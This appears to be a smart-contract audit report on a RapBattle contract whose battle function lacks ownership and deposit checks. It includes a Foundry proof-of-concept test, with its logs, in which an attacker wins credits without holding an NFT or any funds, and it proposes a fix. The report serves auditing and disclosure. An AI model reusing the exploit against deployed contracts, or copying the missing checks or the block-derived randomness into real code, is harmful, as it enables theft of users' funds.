Summary
There are no validations in the RapBattle::goOnStageOrBattle() function, allowing attackers to battle without an NFT or credits.
Vulnerability Details
Lack of validations in the RapBattle::goOnStageOrBattle() function enables attackers to engage in risk-free battles. By simply
calling the function without owning an NFT or credits (or selecting the ID of a token owned by another user), the attacker avoids the
risk of losing credits. If they lose, the transaction reverts due to no credits being allowed to the contract. Otherwise, if they win,
credits are transferred to their account, creating a risk-free scenario.
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
@>
@>
_battle(_tokenId, _credBet);
}
}
Impact
Here's a test showing an attacker winning the battle and getting credited for the win, all without owning an NFT or having any credits,
thus doing so risk-free.
seed = '0x3'
function testBattleWithNoToken() public {
vm.startPrank(user);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.warp(4 days + 1);
vm.startPrank(user);
streets.unstake(0);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
console.log("Attacker balance before :", cred.balanceOf(address(challenger)));
vm.startPrank(challenger);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
console.log("Attacker balance after :", cred.balanceOf(address(challenger)));
}
Output
Logs:
Attacker balance before : 0
Attacker balance after : 3
Tools Used
Manual review and Foundry
Recommendations
Add a validation to verify whether the second user owns the token and has locked the credits in the contract before proceeding to battle.
Remember to return the token after the battle.
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
++ require(oneShotNft.ownerOf(_tokenId) == msg.sender);
++ credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
// Reset the defender
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
-- credToken.transfer(_defender, defenderBet);
-- credToken.transferFrom(msg.sender, _defender, _credBet);
++ credToken.transfer(_defender, 2 * defenderBet);
} else {
-- // Otherwise, since the challenger never sent us the money, we just give the money in the contract
-- credToken.transfer(msg.sender, _credBet);
++ credToken.transfer(msg.sender, 2 * _credBet);
}
totalPrize = 0;
// Return the defender's NFT
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
